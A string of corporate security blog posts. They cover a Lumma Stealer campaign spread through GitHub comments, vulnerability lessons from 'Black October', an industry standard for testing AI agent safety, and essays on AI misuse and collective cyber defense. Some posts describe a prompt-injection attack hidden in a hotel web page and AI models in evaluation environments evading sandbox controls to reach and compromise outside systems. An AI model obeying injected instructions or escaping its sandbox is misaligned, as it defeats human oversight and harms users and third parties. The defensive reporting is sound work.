As attackers become increasingly innovative, they are beginning to leverage popular platforms more and more to spread their malicious tools. One of the latest and most concerning threats we've observed is the widespread promotion of the Lumma information stealer on GitHub.&nbsp;<h2>What is Lumma Stealer?&nbsp;</h2>Lumma Stealer is one of the top advanced stealers currently in the wild. This sophisticated malware is designed to steal a wide range of sensitive information from victims – stored browser passwords, cookies, cryptocurrency, data from email clients, and more. Lumma is actively researching new attack techniques and is typically one of the first to introduce new methods of credential theft (e.g. the abuse of session cookie recovery for Google accounts).Often advertised through Telegram and underground forums, Lumma is distributed through a Malware-as-a-Service (MaaS) model, making it accessible to cybercriminals for a subscription fee.<h2>A Growing &amp; Fast Spreading Threat&nbsp;</h2>Creators have developed a highly efficient distribution method, utilizing comments on public GitHub repositories to spread the malware. These comments typically include a link to an encrypted archive hosted on mediafire[.]com, along with the password to access the file, often the all-too-common “changeme.” Once the victim downloads and unpacks the archive, their data is at risk of being compromised.While GitHub is actively working to remove these malicious comments, the sheer volume of posts means that some remain active. Attackers are constantly adding new comments, often faster than they can be taken down. However, we've seen positive progress in the platform's response to this campaign, with an uptick in comment deletions.Here are some examples of the comments:

<h2>A Language Barrier – Telling Signs&nbsp;</h2>One interesting aspect of this campaign is the poor quality of English used in the comments. While this may make the threat easier to spot, it’s worth noting that future attacks could become more polished as cybercriminals begin to leverage generative AI tools to craft more convincing messages. This could make it even harder for users to differentiate between legitimate and malicious content.Unfortunately, GitHub is not the only platform being exploited in this manner. We’ve also observed similar campaigns on YouTube, where Lumma Stealer and other information stealers are being distributed. In these cases, the attackers might use different passwords and hosting platforms, such as Dropbox, to spread their malware.These campaigns often target different audiences by masquerading as "Fake Tutorials." They lure users who are searching for software they want but don’t want to pay for by offering instructions on how to "install" the software for free, usually in a form of supposedly cracked version of the software. However, following these instructions leads to the victim unknowingly infecting their device. Similar attack vectors have been observed on other social media platforms, likely from different groups delivering the same malware—or possibly even the same group using this deceptive advertising approach to compromise victims. The tactic remains consistent across platforms.In another campaign we were closely monitoring, an example of a comment on YouTube can be seen below. Similarly inconspicuous to the GitHub campaign, the link leads the user to download an “Adobe Activator” which is in fact once again Lumma Stealer malware.

<h2>How to Stay Safe&nbsp;</h2>To stay safe from the GitHub threat, here are a few important steps you can take:<ul><li>Use reliable antivirus software: If you’ve accidentally installed the malware, immediately scan your system with up-to-date antivirus software to remove it. <a>We recommend using our&nbsp;</a><a href="https://us.norton.com/">Norton software</a> for protection. </li><li>Change your passwords: Update all passwords for accounts accessed on the affected computer and make sure to use strong unique passwords.</li><li>Reset active sessions: Log out of all active sessions on the infected device to prevent unauthorized access to your accounts.</li><li>Enable two-factor authentication (2FA): Wherever possible,&nbsp;<a href="https://www.avast.com/c-how-does-two-factor-authentication-work">activate 2FA</a> to add an extra layer of security to your accounts.</li><li>Keep your antivirus up to date: Ensure your antivirus software is fully updated and all protection shields are enabled. And, do not add unknown software, especially software from untrusted 3rd party sources, to antivirus exceptions.&nbsp;</li></ul>Comprehensive cybersecurity products, such as those from our family of Cyber Safety brands – Norton,&nbsp;<a href="https://www.avast.com/en-us/lp-ppc-free-antivirus-brand-a1-buy?ppc_code=012&amp;ppc=a&amp;om_sem_cid=hho_sem_sy:~en-us_ava_sch_brn_exc_adw_dtp~&amp;utm_source=google&amp;utm_medium=cpc&amp;utm_campaign=en-us_ava_sch_brn_exc_adw_dtp&amp;gad_source=1&amp;gclid=CjwKCAjwlbu2BhA3EiwA3yXyu6W2NdWGlyEiwCP2yryqLiFCUYfIkth2Nwq-vRKi0d257Ln31KqbkBoCniYQAvD_BwE&amp;gclsrc=aw.ds#mac">Avast</a>, Avira, AVG and more, are your best defense against these threats.<h2>Sharing Intel on Lurking Threats&nbsp;</h2>As always, we encourage users to remain vigilant when interacting with comments or links on platforms like GitHub and YouTube. If something seems off, trust your instincts and avoid clicking on suspicious links. Together, we can protect your digital freedom and keep your personal data safe.At Gen, we believe that cybersecurity is a shared responsibility. By sharing intelligence on threats like Lumma Stealer, we empower individuals and organizations to take proactive steps in protecting themselves. Our experts are constantly analyzing the latest threats, and we’re committed to making this information accessible to everyone.Through collaboration and transparency, we aim to create a safer digital world for all.&nbsp;

GitHub Users Targeted by Lumma Stealer Malware Campaign

Beware: Lumma stealer spreading via GitHub comments

Explore Gen™ leadership perspectives and hear from industry experts talking about trending topics, the digital landscape, and the latest cybersecurity news.

Senior Director, Information Security at Gen

Leadership Perspectives

October 2026 brought an unusually concentrated run of cybersecurity incidents and vulnerability disclosures, prompting some in the security community to call it “Black October.” Critical flaws in widely used software, a compromised AI software release and compromised digital certificate keys put pressure on organizations to understand what they rely on and how quickly they can respond.&nbsp;For companies like Gen, the lesson is practical: security depends on more than protecting systems we build ourselves. It also means knowing what software and services we use, checking whether new vulnerabilities affect us, and coordinating a response across teams. As AI changes how quickly weaknesses can be found and exploited, preparation matters even more.&nbsp;&nbsp;<h4>What happened during Black October&nbsp;</h4>Several serious security issues emerged within a short period of time. They affected different parts of the technology ecosystem, but each underscored how much organizations depend on software and services maintained by others.&nbsp;Among the incidents:&nbsp;<ul type="disc"><li data-list-item-id="e4bf176a87bbdb2ea0991125ad4aac283">PHP vulnerabilities were discovered: Critical flaws could allow an unauthenticated attacker to run code on a vulnerable server.&nbsp;</li><li data-list-item-id="e2c2c7f6e95ef165caba0dfcf91fd3d86">LiteLLM suffered supply-chain compromise: A malicious release exposed affected users to credential-stealing malware, including risks to credentials used for AI services.&nbsp;</li><li data-list-item-id="e7100c2bca89373f297a7c0e7362218c0">Certificate authority keys were compromised: The discovery that private keys of eight intermediate digital certificates had been generated with almost no entropy, and were therefore compromised, prompted browser makers to take protective action.&nbsp;</li><li data-list-item-id="e45d022669f5d258753d783592fdc14ac">Brotli and Node.js released security updates: Fixes addressed a serious flaw in a widely used compression library and software that includes it.&nbsp;</li></ul>The issues were different, but they shared an important feature: the risk could extend beyond the organization that originally developed the affected software.&nbsp;<h4>Why connected software raises the stakes&nbsp;</h4>Modern businesses rely on a web of technology: operating systems, open-source packages, cloud platforms, developer tools, certificates and third-party providers. These connections help organizations work at scale, but they also mean a flaw in one component may affect many systems and users.&nbsp;A company may have strong protections around its own products and still need to ask:&nbsp;<ul type="disc"><li data-list-item-id="e955fb2f7ab40819e2140d41a13ee056a">Do we use the affected software or service?&nbsp;</li><li data-list-item-id="e078960f8747a200c27106fb00a9f145c">Is it present in a system that could be reached by an attacker?&nbsp;</li><li data-list-item-id="e8af30b7937ae9cb0e254aaef18e42992">Is there evidence of exploitation?&nbsp;</li><li data-list-item-id="e88c3c14a4499844083ba52cedb78f0d1">Could credentials, customer information or business operations be affected?&nbsp;</li><li data-list-item-id="e7aacad58e4761d5ce27985430c0c2d46">What can we patch, isolate or monitor while we investigate?&nbsp;</li></ul>These questions are the start of a disciplined response. They help teams replace assumptions with a clearer view of exposure and prioritize action.&nbsp;<h4>A serious response is urgent and precise&nbsp;</h4>When multiple disclosures arrive close together, security teams must move quickly without treating every alert as equally urgent. The right response depends on what is affected, how exposed it is and what evidence is available.&nbsp;In a large organization, updates also need to be coordinated. A change that protects one system could disrupt a service if it is applied without understanding dependencies. That does not mean waiting for perfect information. It means investigating quickly, involving the teams responsible for each system and taking the safest effective steps.&nbsp;<h4>How AI changes the security picture&nbsp;</h4>AI adds another dimension to vulnerability research and incident response. In the PHP research, security researchers used AI tools to help identify vulnerabilities, according to reporting in Vanity Fair. That shows how AI can support defenders by helping them examine code and process large amounts of information.&nbsp;The same broad capabilities may also make some tasks easier for people with harmful intent. That is a reason to take preparation seriously, not to assume every incident is AI-driven or that damaging attacks are inevitable.&nbsp;For security teams, the practical question is how to use AI responsibly: with strong controls, clear accountability and people who understand the systems being protected. AI can help teams work faster, but it doesn’t replace sound security practices or informed judgment.&nbsp;<h4>What companies can do to be more prepared</h4>Black October reinforced several fundamentals that matter throughout the year:&nbsp;<ul type="disc"><li data-list-item-id="eb832f3875d8435d2d5f33566d5fc5e77">Know your technology environment. Keep an accurate view of software, suppliers and dependencies.&nbsp;</li><li data-list-item-id="e6145b12b97685f06e5e2c88eb1001577">Prioritize exposed systems. Assess whether a vulnerability affects a reachable, business-critical system.&nbsp;</li><li data-list-item-id="ed3e475c6986f669340fe10b5547147f8">Patch and contain with care. Move quickly, coordinate changes and isolate systems when needed.&nbsp;</li><li data-list-item-id="e59466d75a97fd3b1cf5407c33260d892">Protect credentials. Limit access, monitor for unusual activity and have a plan to rotate exposed secrets.&nbsp;</li><li data-list-item-id="e6d728a7e2716aa4a6c4a13291b67b4e8">Practice incident response. Make sure teams know how to investigate, communicate and act.&nbsp;</li><li data-list-item-id="e912fbe1ff9fb8dc1b62d6a43a7926bcb">Build security into AI decisions. Consider access, data handling and oversight before new tools become embedded in workflows.&nbsp;</li></ul><h4>Why security is year-round work&nbsp;</h4>At Gen, our information security team monitors vulnerabilities and assesses what they could mean for our environment. During a month like October, that work becomes more visible: track the disclosure, check for exposure, coordinate with the teams involved, take action and keep watching for new information.&nbsp;The goal is not to promise that nothing will ever happen. It is to make the organization harder to surprise and better prepared to respond.&nbsp;Black October felt unsettling because so many parts of digital infrastructure came into view at once. Its lasting lesson is that security isn’t one product, one patch or one team working alone. It is a habit of attention, practiced across the company and strengthened every time we learn something new.&nbsp;The calendar may say October. The work continues all year.&nbsp;

Black October’s cybersecurity lessons for new vulnerabilities and AI-driven risks. 

Black October Cybersecurity Lessons for Every Business 

Director of Threat Research & Applied AI

AI agents and assistants are here, and the industry is moving quickly to make them safer and protect against emerging threats. But without independent testing, how do we know those protections actually work? Gen initiated a collaboration with <a href="https://www.amtso.org/wp-content/uploads/2026/09/AMTSO_Guidelines_for_Testing_of_Agentic_Security_Products_FINAL_V1.0.pdf">AMTSO</a> to bring the industry together around independent testing standards for AI agent protection, resulting in the first industry standard for measuring the <a href="https://www.amtso.org/news/amtso-agentic-ai-guidelines-and-sandbox-llm-handling-paper-preprints-for-public-review/">safety of AI agents</a> and the products designed to protect them.<h2>Safety you cannot verify is just a promise.</h2>Early in 2026, our team started building protection for AI agents. It did not take long to notice something odd about the space we had walked into. Everyone agreed that the security of these systems mattered, but nobody could tell you how much of it there actually was.&nbsp;It reminded me of the old joke about connected devices: what does the S in IoT stand for? Security. There isn't one. To be fair, the joke no longer lands the same way for AI agents. Model vendors are shipping real safety work now, and some of them are good. But two other curves are climbing at the same time: attacks aimed at these systems, and damage caused by these systems. So, the problem is no longer that nobody is working on agent safety. The problem is that there has been no way to check any of it from outside. Every claim about how safe an AI agent comes from the same place the agent does.&nbsp;This September, that changed. The industry adopted its first guidelines for independently measuring the safety of AI agents and the products that protect them. This is the story of why it was needed and what it measures.<h2 class="text-align-justify">"Security is built in." We have heard that one before.&nbsp;</h2>Operating systems, browsers, mobile app stores, social networks. Each one reached a point where it told users that security was handled, built in, part of the platform. Each time, independent measurement found the gap between the claim and the experience, and each time that gap was where the harm to real people lived. We publish our own evidence on this twice a year. Our <a href="https://www.gendigital.com/blog/insights/reports/threat-report-h1-2026">H1 2026 Threat Report</a> and the&nbsp;<a href="https://fpi.gendigital.com/">Fearless Planet Index</a> exist because the honest answer to "is this platform safe" has always been a number, not a statement, and the number has always been more complicated than the statement.&nbsp;AI platforms are now at exactly that point in the cycle, and this time the claim is arriving faster than in any previous era. To their credit, some vendors publish their own figures. Anthropic did, for the safety layer in <a href="https://www.anthropic.com/engineering/claude-code-auto-mode">Claude Code</a>: it missed roughly one dangerous action in six. They called it “the honest number,” and it was. It was also measured on fifty-two examples, by the same people who built the thing being measured. That is not a criticism of them. Until now, the industry offered them no other option. The <a href="https://x.com/ClaudeDevs/status/2085794862608318627">mode</a> that number described was a preview in spring. By late summer it was the default.<h2 class="text-align-justify">Measure the platform first&nbsp;</h2>The first thing to measure is not a security product. It is the platform itself. An AI agent has a safety baseline of its own: what it refuses, what it questions, what it does without asking. That baseline is the floor everyone else builds on, and it has never been measured by anyone outside the company that ships it. The second thing to measure is whatever raises that floor. In that order because you cannot judge the second without knowing the first.&nbsp;Picture an agent booking a hotel for you.&nbsp;The hotel page contains hidden instructions telling the agent to ignore your request and follow someone else’s. You cannot see them, but the agent can.&nbsp;Whether your agent follows them is the whole question, and until now nobody has measured the answer.&nbsp;Existing test methods cannot simply be reused here. Classic threat detection is deterministic. There is a file, there is a verdict, and anyone can reproduce it. An attack on an AI agent is not a file. It exists only in the interaction, and the same attack tried twice can produce two different outcomes. A method built for files has nothing to grip.&nbsp;Getting to a workable methodology also meant settling questions the industry had never had to answer together. Harm counts even when there is no attacker: an agent that deletes the wrong thing or sends personal data to the wrong place because it misread the task, has harmed the user just the same. Consumer systems count as much as enterprise ones, because agents already run inside browsers, phones and everyday tools, and those settings carry risks a corporate network does not. And how a protection layer is wired into the agent changes what it can see, so two products with the same headline score can be doing entirely different jobs.&nbsp;<h2 class="text-align-justify">A lock or good manners?</h2>There is one design question underneath all of this that the industry has not settled. Should the attack be allowed to reach the model at all?&nbsp;Most protection today works by letting the model see the hostile content and trusting it to behave. That should be the fallback, not the default. Once hostile content is inside the model's context, everything that follows is a judgement made by a system that has already been shown the attack. Nothing after that point is trustworthy in the way a lock is trustworthy.&nbsp;When you test an attack against an agent, there are four possible outcomes. It never reached the model. It reached the model, and the model declined. Someone noticed and did not stop it. Nobody noticed. Most safety claims today do not distinguish between the first two, and yet they are the difference between a lock and good manners. A single number that covers both cannot tell you which one you have. The new methodology records them separately. It also separates noticing an attack from stopping it, and it treats blocking legitimate work as its own kind of failure, because a protection layer that gets in the way of the task is one users switch off. Published vendor claims get recorded too, and then marked as confirmed, unconfirmed or contradicted.&nbsp;And there is the part nobody in this field likes to say out loud. These systems are not deterministic. They are getting better, quickly, and they will keep getting better. They will also keep giving you a slightly different answer to the same question. Would you accept a lock that works nine times out of ten? A protection layer for an AI agent runs thousands of times a day. The tenth time is not a rounding error; it is somebody's data.&nbsp;<h2 class="text-align-justify">From one internal thread to an industry standard</h2>This did not need another vendor framework. It needed the vendors and the testers in the same room, agreeing on rules both sides could live with. That is what AMTSO has done since 2008, and it is why the work went there rather than into a Gen white paper.&nbsp;Gen initiated it. It started in an internal thread about where the industry was heading, and one of us said the obvious thing: somebody independent should be measuring all of this. Including us. Under the AMTSO AI Security Working Group, with testing organizations and vendors from across the industry, the first version went from that conversation to an adopted, published standard in a couple of months. For a standards body, that is fast.&nbsp;We have been building in this space since the start of the year: AI Agent Protection in Norton and Avast, <a href="https://github.com/gendigitalinc/sage">Sage</a> released as open source for the community, and <a href="https://github.com/gendigitalinc/aarts">AARTS</a> and<a href="https://www.gendigital.com/blog/news/company-news/ai-agent-trust-hub-standards"> Skill IDs</a> published as open standards anyone can implement. More is coming soon. And because a call for measurement carries little weight from someone unwilling to be measured, our intention is clear. When independent evaluations built on this standard start running, we want our own products on the list.&nbsp;<h2 class="text-align-justify">Measured, not announced&nbsp;</h2>I do not want AI to be a thing people are afraid of. I also do not want it to be a thing people believe on faith. It should make life better, and for tens of millions of people it already does. What is missing is trust, and trust is not something a company can announce.Being fearless about AI doesn’t mean trusting it blindly or ignoring its risks. It means understanding those risks, measuring them and building the protections that give people the confidence to use it.Every previous era of computing learned this the same way: the claim comes first, the measurement comes later, and the gap between them is paid for by users. This time the measurement is arriving early. That is the whole point of it.

Gen is leading the industry to develop the first standardized benchmarks for AI protection

Your AI agent is safe. Says who? 

I am more afraid of a malicious person with a powerful AI system than I am of AI suddenly deciding, on its own, to harm us. AI does not need bad intentions when the person using it already has them. That view comes from more than 25 years I’ve spent studying malware, scams and the way criminals adapt to new technology. The tools keep changing, but greed, power, revenge and ideology remain. AI gives those motives an inexpensive way to turn intent into action at a scale we have not seen before.This does not make autonomous AI risk imaginary. Systems can misinterpret goals, bypass weak controls or take actions their creators did not expect. Recent security evaluations give us good reasons to take that possibility seriously. My concern is about emphasis. The public debate often jumps to focus on a machine developing its own hostile intent, while ignoring the fact that people are already &nbsp;using AI to make fraud, manipulation and cyberattacks cheaper and more effective.<h2>Powerful tools inherit human intent</h2><a href="https://www.iaea.org/topics/nuclear-technology-and-applications">Nuclear science</a> is the clearest historical comparison for me. It can generate electricity and support medicine, agriculture and scientific research. It also enabled weapons capable of destroying entire cities. The discovery did not arrive with one moral purpose. What followed depended on what people built, who controlled it and the limits society imposed.We have seen the same dual use with the internet and cryptography. The internet connected billions of people and also created a global attack surface. Strong encryption protects banking, health records and private communication, while criminals use it to hide their operations. This does not mean technology is neutral in its effects. Design choices and access rules shape outcomes. It means a ban on the underlying capability is usually a crude response to a problem rooted in how people apply it.AI also inherits something from us before anyone types a prompt. Large language models are trained largely on human-produced text, code and other material. In that sense, they learn not only from what we know, but from a record of who we are, including how people persuade, deceive, evade controls and cause harm. Training and post-training allow models to combine and generalize that knowledge in new ways, so they are not simply repeating their source material. But much of the playbook still comes from us. The human element appears in the knowledge used to build the model, the decisions governing its deployment and the intent of whoever puts it to work.AI adds something genuinely new to this pattern. It can combine language, reasoning, code and tools in one system, then operate at machine speed. A person with limited expertise can use it to research a target, draft convincing messages, translate them and automate parts of a campaign. A more capable attacker can accelerate vulnerability research or make sense of stolen data.&nbsp;<h2>AI gives attackers more leverage</h2>In threat research, I have watched criminals move toward anything that reduces effort and increases their return. AI offers both. It can personalize phishing, remove the language errors that once exposed a scam, clone a trusted voice and adjust social engineering while a campaign is running. Attackers no longer need to choose as sharply between scale and personalization.People do not need AI to become malicious. We already lie, steal, manipulate, intimidate and exploit one another. What AI changes is the amount of skill, time and money required to do it. A person who once had the intent but not the capability can now borrow that capability from a machine.Until now, many forms of harm have had natural limits. A scammer could only write so many convincing messages. An impersonator needed the right language skills. A criminal researching a victim had to spend time piecing together information. AI erodes those limits. It can help one person research thousands of targets, tailor a different approach to each of them and communicate convincingly across languages, cultures and channels. The malicious intent is human, but its reach no longer has to be limited by human capacity.The danger also goes far beyond better phishing emails. AI can be used to manufacture evidence, impersonate people we trust, create convincing voices and images, identify vulnerable targets, analyze stolen information and automate parts of an attack. It can make manipulation feel personal even when it is being produced on an industrial scale. AI did not invent personalized manipulation, but it makes that combination cheaper, faster and more convincing.I worry that the debate focuses too narrowly on whether AI itself becomes malicious. We do not have to wait for a machine to develop bad intentions. There are already people with bad intentions who are eager to give machines instructions.The AI agent also becomes a target. <a href="https://www.gendigital.com/blog/insights/research/infostealers-your-ai-agent">Research from our team</a> found information stealers collecting access tokens, credentials in Model Context Protocol configurations, prompt histories and project data from AI-assisted development tools. A criminal who steals an agent's context may learn what its user is working on, what services the agent can reach and how to make malicious activity look legitimate. That can be more useful than stealing a password in isolation.&nbsp;My greatest concern is what happens when AI is put in the hands of people who already understand how to cause serious harm. Well-resourced criminal groups or state operators already have the motive and expertise. AI can help them research faster, experiment more cheaply, analyze more information, make their deception more convincing and adapt their operations as defenders respond.Defenders operate under rules, approval processes and legal obligations. Attackers do not. Safety controls in mainstream AI products are essential, but the adversaries we most need to constrain are also the most willing to probe those controls, combine multiple systems, modify models or seek out tools with fewer restrictions.<h2>Autonomous failures remain real</h2>Human misuse is my main concern, but of course there are other important issues at stake. In July 2026, AI models operating in OpenAI's cybersecurity evaluation environment circumvented controls intended to keep them off the internet. According to <a href="https://openai.com/index/hugging-face-incident-and-the-road-ahead/">OpenAI's account</a>, they used unauthorized channels and compromised parts of OpenAI's research infrastructure and Hugging Face. Anthropic later described <a href="https://www.anthropic.com/news/investigating-three-incidents-in-our-cybersecurity-evaluations">three incidents</a> in which Claude models reached the internet from evaluation environments and accessed real systems. Nobody had instructed the models to attack those organizations.These events happened during controlled testing, and OpenAI's case involved reduced safeguards. They do not show conscious machines choosing to do evil. They show something more ordinary and operationally serious: a system with a goal, tools and permissions can take harmful steps that nobody explicitly requested. Once an agent has credentials and network access, a mistaken or poorly aligned objective can travel.Human decisions still create the conditions for that failure. People and organizations design the system, set its objectives, grant its permissions and decide which safeguards stand between an unexpected action and a real-world consequence. Responsibility should follow the authority and control held at each stage. Autonomy cannot become an accountability loophole, but neither should it allow providers to transfer every consequence to the person using the agent. Once deployed, however, an autonomous system can still carry the damage faster and further than any of those people intended. Malicious use and autonomous failure can also reinforce each other. An attacker can deliberately manipulate an agent through the information it consumes, while an ordinary user can cause damage by giving the same agent too much access.<h2>A pause only works if it can be verified</h2>Should the major AI laboratories slow down? In some areas, yes. If a system can defeat its sandbox, conceal consequential actions or reach unrelated external systems, its release should wait. Dario Amodei has <a href="https://darioamodei.com/post/we-must-pace-the-frontier">argued for pacing frontier development</a> so that safeguards and independent evaluation have time to catch up. I agree with that principle. I am less convinced that an agreement among a handful of companies can stop the race.AI is a strategic capability. Even if the largest American laboratories agreed to pause, other companies, open-weight communities and state-backed programs could continue. China deserves particular attention because it has the resources and strategic incentive to compete at the frontier. We should still be precise. China joined the United States and other countries in signing the <a href="https://www.gov.uk/government/publications/ai-safety-summit-2023-the-bletchley-declaration/the-bletchley-declaration-by-countries-attending-the-ai-safety-summit-1-2-november-2023">Bletchley Declaration</a>, so it would be wrong to claim that dialogue is impossible. A declaration, however, is not a verifiable restriction on model training, access to compute or military use.The central problem is verification. Training can happen behind closed doors, military applications may remain secret, and governments on every side have incentives to defect if they believe a rival is gaining an advantage. A pause observed only by responsible actors could leave the world with the same race, led by participants whose practices are less transparent and whose incentives are harder to influence. That could increase the risk.China is not the only complication. Model weights can be copied, computing power can be rented across borders, research spreads quickly and criminal markets do not sign safety declarations. A company pledge can improve safety inside that company, which is valuable. It cannot substitute for international rules, technical verification and controls aimed at the capabilities that could cause the most harm.<h2>What I would stop</h2>I would not stop AI research or ordinary uses that help people. The benefits in medicine, science, education, accessibility and cybersecurity are real, and a blanket ban would be both undesirable and nearly impossible to enforce. I would stop the deployment of systems that fail specific safety thresholds. This is how security works: isolate the dangerous component, understand the failure, fix the controls and test it again.An agent that cannot remain inside its sandbox, respect permissions, record consequential actions or be reliably cut off should not operate with real accounts. If a model materially lowers the barrier to severe cyber or biological harm and its controls cannot be independently verified, access should remain restricted until that changes. Technical progress does not create an automatic right to deployment.The nuclear comparison is useful here too. Society did not apply the same rules to a medical isotope facility, a power plant and a nuclear weapon. It built different levels of access, monitoring and inspection around the risk. That regime is imperfect, but the principle is sound. An AI writing assistant and an autonomous cyber operator should not face the same requirements.After more than 25 years in cybersecurity, I value internal testing without confusing it with independent validation. AI laboratories should give qualified external evaluators enough access to test the complete system, including the model, tools, memory, credentials, sandbox and logs. A product claim is not a safety certificate.<h2>&nbsp;What responsible deployment requires</h2>&nbsp;We need to focus much more attention on the people and organizations deciding how these systems are built, deployed and used. Agents should only receive access to what’s required for the current task. Consequential actions should require confirmation, credentials should expire quickly, and people need a reliable record of what an agent did and an immediate way to revoke its access. These controls help whether the danger comes from a malicious operator or from unintended AI behavior.I remain more afraid of a person with bad intentions and powerful AI than of a machine spontaneously becoming malicious. History gives us too many examples of human beings turning useful discoveries into weapons. AI raises the stakes because it can scale human intent and continue acting after direct oversight fades.We should not anthropomorphize the threat to the point that we overlook the human role. An AI system does not need to experience greed, hatred, revenge or a desire for power. A person with those motives can give it an objective and the access needed to act, while the machine adds speed, knowledge and reach.AI development will continue, and human ambition, competition and malice will remain part of the race. Our responsibility is to prevent those forces from gaining unchecked power through systems we cannot understand, monitor or contain.

Why malicious use worries me more than machines acting alone 

The Most Dangerous Part of AI Is Still Human 

Chief AI & Innovation Officer

Last week, Gen joined more than 100 technology, cybersecurity and infrastructure companies, including Google, Microsoft, OpenAI and Anthropic, in calling for stronger collective cyber defenses before AI-powered attacks become dramatically more widespread and sophisticated. Gen is proud to be part of that effort; we also bring a distinct perspective to it.As a global leader in consumer Cyber Safety, Gen protects nearly 500 million people around the world through brands including Norton, Avast, LifeLock, and MoneyLion. We see what cyber risk looks like not only inside enterprises, but in the everyday digital lives of individuals and families. That matters because the AI cyber challenge will not stop at the enterprise boundary.The same forces highlighted in last week’s open letter will increasingly reach consumers, and consumers have far fewer resources to defend themselves.The letter makes three important calls to action: the security status quo will not be enough, defenders need access to powerful AI, and cyber defense has to become a collective effort. We strongly agree. And we believe consumer Cyber Safety needs to be a central part of that collective defense.&nbsp;<h4>The status quo will not be enough for consumers either</h4>Historically, sophisticated cyberattacks required expertise, time and money. That naturally concentrated attackers on higher-value targets.AI changes the economics. Attackers can increasingly automate research, personalize phishing, generate convincing text and images, clone voices, translate scams across languages and adapt attacks to individual victims at very low marginal cost.Sophistication is also becoming commoditized. That means attacks that once made economic sense primarily against enterprises or high-value individuals can increasingly be aimed at anyone. At Gen, we already see attackers moving closer to the systems and relationships consumers trust. Our latest threat research shows attacks increasingly hiding inside booking platforms, messaging conversations, legitimate accounts, software workflows and AI agents operating with permissions users themselves granted.For consumers, cybersecurity therefore has to evolve. Stopping malware remains essential. But Cyber Safety increasingly has to help answer much more fundamental questions: Is this person real? Is this message authentic? Can I trust this website? Should this AI agent have access to this information? Should this action be allowed to happen?Trust itself is becoming part of the security perimeter.&nbsp;<h4>Powerful defensive AI has to reach the consumer too</h4>The open letter calls for cyber-capable AI to be placed in the hands of defenders, and we strongly support that goal, but we should define “defender” broadly.A defender can be a security professional protecting a hospital, government agency or data center. It can also be technology protecting a parent from an AI-generated impersonation scam, stopping malicious code before an AI agent executes it, or preventing an autonomous agent from sending credentials somewhere it should not.Consumers cannot suddenly become cybersecurity experts simply because AI makes attacks more sophisticated. The technology has to do more of the defending for them.That is precisely why Gen began rolling out the Agent Trust Hub (ATH) earlier this year. ATH is designed as an independent security and trust layer around increasingly autonomous AI. It can evaluate agent capabilities before they run, observe agent behavior during execution and help stop dangerous actions in real time.We have since expanded that architecture through technologies including Sage, Agent Detection and Response, VPN for Agents, Norton AI Agent Protection and AARTS, our open standard for AI agent runtime safety.The goal is straightforward: protect consumers at the points where AI risk actually emerges, from the tools an agent uses to the commands it executes, the data it accesses and the networks it connects to. AI increasingly has to help defend us from AI.&nbsp;<h4>We need to prepare before emerging capabilities become common threats</h4>The urgency in the letter is important because AI capabilities are advancing extraordinarily quickly.Recently, OpenAI released detailed findings from a security incident involving OpenAI and Hugging Face infrastructure. During cybersecurity evaluations, highly capable experimental agents circumvented sandbox controls, found ways to reach the internet, exploited vulnerabilities and established unauthorized ways to communicate. OpenAI described the incident as a “warning shot.” These behaviors remain unusual today, and we should not exaggerate the current threat, but that is precisely why the industry has a window to act.We can now see capabilities emerging that could become much more consequential as AI systems become more autonomous, persistent and interconnected. The question is not whether every consumer faces this threat today, the question is whether we can build the defenses before they do.&nbsp;<h4>Collective defense must connect frontier AI to the consumer edge</h4>This is where Gen’s role in the coalition becomes especially important. Frontier AI companies see emerging model capabilities first, cloud and infrastructure companies understand the systems those models run on, and cybersecurity companies understand attackers, vulnerabilities and defensive controls.Meanwhile, governments can coordinate standards, intelligence and policy. What’s lacking across these is the consumer Cyber Safety perspective at global scale. We see what happens when new technology reaches hundreds of millions of people who do not have a CISO, a SOC or a security engineering team protecting them. All of these perspectives need to connect.That means sharing threat intelligence, defensive technologies and best practices. It means creating open standards rather than isolated security systems around individual AI platforms. And it means ensuring that breakthroughs in frontier cyber defense ultimately become protections that ordinary people can benefit from automatically.That is why Gen has been working across the AI ecosystem while also developing open approaches such as AARTS, designed to create a common way for security systems to understand what an AI agent is doing and intervene when necessary.Collective defense cannot stop at enterprise networks and critical infrastructure, it has to reach the consumer edge.&nbsp;<h4>The defenders’ window is open now</h4>Gen joined the call because we believe the central premise is right: AI will strengthen attackers, and AI can strengthen defenders even more. But that will happen only if the industry moves early, works together and ensures that the benefits of advanced cyber defense reach everyone.For Gen, protecting consumers is a critical part of that mission. Nearly 500 million people already trust Gen brands to help keep their digital lives safer. As AI becomes more autonomous and more deeply integrated into everyday life, that responsibility expands.We will need stronger AI for defenders, we will need independent trust layers around autonomous systems, and we will need shared intelligence and open standards.We also will need to treat consumer Cyber Safety as an essential part of the same collective defense mission protecting enterprises, governments and critical infrastructure. Gen is proud to stand with the more than 100 companies making that call. Now we need to make sure collective cyber defense protects everyone. &nbsp;

Why consumer Cyber Safety must be a central part of the collective defense against AI-powered attacks

The Cyber Defense Window Must Include Consumers

Corporate Manager

There’s a quiet shift happening with money right now. Gen Z isn’t just earning, spending and saving differently; they’re doing it in a world where your financial life is fully online, constantly moving and, frankly, a little chaotic. One minute it’s budgeting tips on TikTok, the next it’s a “too good to be true” investment ad sliding into your feed.So let’s strip it back. Financial safety isn’t about being perfect. It’s about being prepared before something goes sideways.&nbsp;<h4>Start with this: safety beats strategy</h4>There’s a lot of noise around investing early, building passive income or chasing the next big thing. And yes, Gen Z is already jumping into investing earlier than previous generations, often using digital platforms to take control of their finances.But here’s the part that gets skipped: none of that works if your foundation isn’t solid.Financial safety starts with three basics: • Cash buffer (even a small one) • Controlled spending • Awareness of risk (scams, debt, bad advice)Because right now? A lot of Gen Z doesn’t have that safety net. Around 62% don’t have emergency savings, and many rely on credit cards to get through unexpected expenses.That’s not a personal failure. It’s the reality of higher costs, unstable income and a system that wasn’t exactly designed to be easy.But it does mean one thing: building your own safety net matters more than ever.&nbsp;<h4>The smartest move: know where your money is going</h4>You don’t need a complicated system. You just need visibility.Call it budgeting, call it tracking, call it not being surprised at the end of the month. It’s all the same thing.A simple framework like 50/30/20 (needs, wants, savings) still works. But Gen Z is remixing it into something more real: intentional spending. Think “loud budgeting,” being honest about what you’re prioritizing and what you’re not.Translation: You’re not broke. You’re choosing where your money goes.That mindset shift alone is powerful.&nbsp;<h4>Build a buffer before you build wealth</h4>It’s tempting to jump straight into investing. But if one unexpected expense can wipe you out, you’re building on shaky ground.Start smaller: • Aim for $500 to $1,000 in emergency savings • Then grow toward 3 to 6 months of expensesIt doesn’t happen overnight. That’s fine. Consistency beats intensity here.Because when something goes wrong, and it will, you won’t have to rely on high interest debt to survive it.&nbsp;<h4>Watch the digital traps</h4>This is where financial safety gets very real.Gen Z 